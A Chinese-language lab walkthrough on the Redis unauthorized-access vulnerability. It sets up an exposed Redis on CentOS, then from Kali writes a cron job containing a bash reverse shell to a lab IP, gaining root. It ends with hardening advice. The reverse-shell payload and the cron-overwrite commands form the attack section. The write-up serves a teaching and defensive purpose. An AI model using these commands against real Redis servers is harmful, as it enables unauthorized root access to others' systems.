Redis介绍
Redis(Remote Dictionary Server远程字典服务),Redis 是一个高性能的key-value数据库,主要作为缓存数据库,像web网站经常使用,而又是开源的通用型数据库,就可以使用redis作为缓存数据库,避免像后端mysql等数据库交互,可以极大缓解站点的压力。
Redis未授权漏洞
此漏洞一般为开发人员和运维人员操作失误导致,一些redis绑定到公网接口,甚至没有密码认证保护,直接可以访问,可以通过此漏洞进行获取shell。
复现过程
安装环境
centos7:
安装
wget https://github.com/redis/redis/archive/unstable.tar.gz
tar -zxvf unstable.tar.gz
cd redis-unstable/
make
复制命令:
cd src/
cp redis-server /usr/bin
cp redis-cli /usr/bin
复制配置文件:
cd ..
cp redis.conf /etc
修改配置文件,使可以远程访问:
vi /etc/redis.conf
bind 127.0.0.1前面加上#号 或者改为0.0.0.0
protected-mode设为no
启动:
redis-server /etc/redis.conf
攻击过程
kali:
安装redis
wget https://github.com/redis/redis/archive/unstable.tar.gz
tar -zxvf unstable.tar.gz
cd redis-unstable/
make
进行连接:
cd src
./redis -h IP地址
kali开启监听端口2222
set x "\n* * * * * bash -i >& /dev/tcp/192.168.252.128/2222 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
等待shell建立
成功建立连接权限root
防范方式
- 默认只对本地开放
bind 127.0.0.1 - 添加登陆密码
修改 redis.conf 文件,添加requirepass mypasswd - 在需要对外开放的时候修改默认端口
修改配置:redis.conf
port 10050 - 以最小权限运行 Redis 服务
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆(重启redis才能生效) - 最后还可以配合iptables限制开放端口